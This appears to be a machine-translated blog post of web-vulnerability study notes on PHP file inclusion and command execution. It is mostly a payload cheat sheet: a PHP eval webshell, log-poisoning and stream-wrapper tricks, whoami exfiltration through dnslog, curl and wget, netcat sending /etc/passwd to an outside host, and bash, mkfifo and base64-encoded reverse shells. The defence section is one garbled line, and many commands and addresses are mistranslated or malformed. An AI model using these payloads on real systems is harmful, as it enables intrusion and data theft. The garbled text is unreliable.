当前位置:网站首页>Web vulnerability
Web vulnerability
2022-07-25 01:43:00 【KD_ du】
web Vulnerability analysis
The file contains a vulnerability
The local file contains
Common files contain functions
include() Cannot find the containing file , Script continues
require() Cannot find the containing file , Report errors , Stop script running
include_once() If the code in the file has been included, it will not be included again
require_once() If the code in the file has been included, it will not be included again
Local include file
Introduce malicious code <php phpinfo();eval($_post['cmd'];)?>
Include log files getshell
error journal Write Trojan , Connect
Log
Modify environment variables
Grab the bag , modify user-agent:<?php phinfo();?>, Contract awarding
visit /proc/self/environ
phpinfo The file contains temporary files
Write the file to the temporary directory
Using scripts
php Fake protocol
file:// Access local file system ( Absolute path / Relative path read )
http:// visit http Website
ftp:// visit ftp urls
php://input take post The requested data is treated as php Code execution Conditions ( Remote include open )
php:/input post The incoming content is executed as code
php://filter Read source code
php://filter/read=convert.base64-encode/resource='' Read file contents , With base64 Show , Generally, read the configuration file
phar:// Read compressed file
zip://
bzip2://
zlib://
data://text/plain;base64, Ciphertext Open remote include
The remote file contains
The remote file contains
file=http://192.tp://168.45.164/1.php Website + file Both are on
The file contains a truncation attack gpc close
Remote command execution vulnerability
system() With echo
passthu() With echo
exec() Echo the last line , must echo
shell_exec() No echo Must output
popen() No echo
proc_open() No echo
Command execution connector
;
|
||
&
&&
and
or
` echo `whoami`
echo $(whoami) $ Replace backquotes
windows
type C:\windows\win.ini
No echo
Pipeline character writing shell
echo "" |base64 -d >shell.php
dnslog Record
ping `whoami`.6hkgih.dnslog.cn
Use the log to test whether there is echo
curl http://192/.168.3.12/?`whoami`
wget http://192.168.3.12/?`whoami`
Command Execution Vulnerability rebound shell
netcat
nc -lp 9999>pass.txt Remote server listening
nc 192.168.0.124 9999 </etc/passwd
Victim rebound shell
/bin/bash -c 'bash-i>&/dev/tcp/192.168.0.124:80 0>&1'
rm/tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.124 80>/tmp/f
echo 'cm0vdG1wL2Y7bWtmaWZvL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMjQgODA+L3RtcC9m' |base64 -d |bash
defense
escapesh
## ellarg function safe_mode_exer_dir Executable file path Internal implementation , Do not write external execution ```
边栏推荐
- Some of my understanding about anti shake and throttling
- Antdb database products were selected into the global database industry map (2022) of the China Academy of communications and communications
- Prosci anti-CD22 antibody epratuzum28 flow cytometry display
- G025-db-gs-ins-02 openeuler deployment opengauss (1 active and 1 standby)
- PG Optimization -- execution plan
- Using multithreaded execution method in Lua script based on nlua implementation
- Data governance notes
- Windows security hardening -- close unnecessary ports
- Three possible scenarios for SAP Spartacus server-side rendering
- Application status of typical marine environmental observation data products and Its Enlightenment to China
猜你喜欢

Data integration | what are the tools for data integration at home and abroad?

2022/7/18-7/19

MySQL Basics (concepts, common instructions)

Kubernetes creates a user with dashboard read-only permission (with exec permission)

DotNetCore. Cap notes
![[25. Hash table]](/img/c4/1500d070d44d3bd84eb141ed38013d.png)
[25. Hash table]

Prosci anti-CD22 antibody epratuzum28 flow cytometry display

From casting sword to defending sword: the way to build the efficiency platform of didi project

Document the use of anti shake in packaged components and projects

Example analysis of recombinant monoclonal antibody prosci CD154 antibody
随机推荐
Boutique solution | Haitai cloud password application service solution to create secure and compliant Cloud Applications
Promise basic use
[28. Maximum XOR pair]
Pursue and kill "wallet Assassin" all over the network
[development tutorial 10] crazy shell · open source Bluetooth smart health watch OTA image production and download technical documents
Freedom and self action Hegel
Three modes of executing programs, memory and cache
Visual studio code installation package download slow & Installation & environment configuration & new one-stop explanation
G024-db-gs-ins-01 openeuler deployment opengauss (single instance)
Commonjs export import
Prosci 14-3-3 (phosphate ser58) antibody instructions
[recognize cloud Nativity] Chapter 4 cloud network section 4.9.4.3 - smart network card usage scenario - network acceleration implementation
Shell judges whether the file exists and whether the file size is 0
Research and application of scientific data management strategy for high energy synchrotron radiation source
Management mode of agricultural science data center based on life cycle theory
Common functional interfaces_ Predicate interface_ Default method and and predicate interface exercise_ Set interface filtering
Point to point copy and paste of web pages
G025-db-gs-ins-02 openeuler deployment opengauss (1 active and 1 standby)
Antdb database products were selected into the global database industry map (2022) of the China Academy of communications and communications
JVM Foundation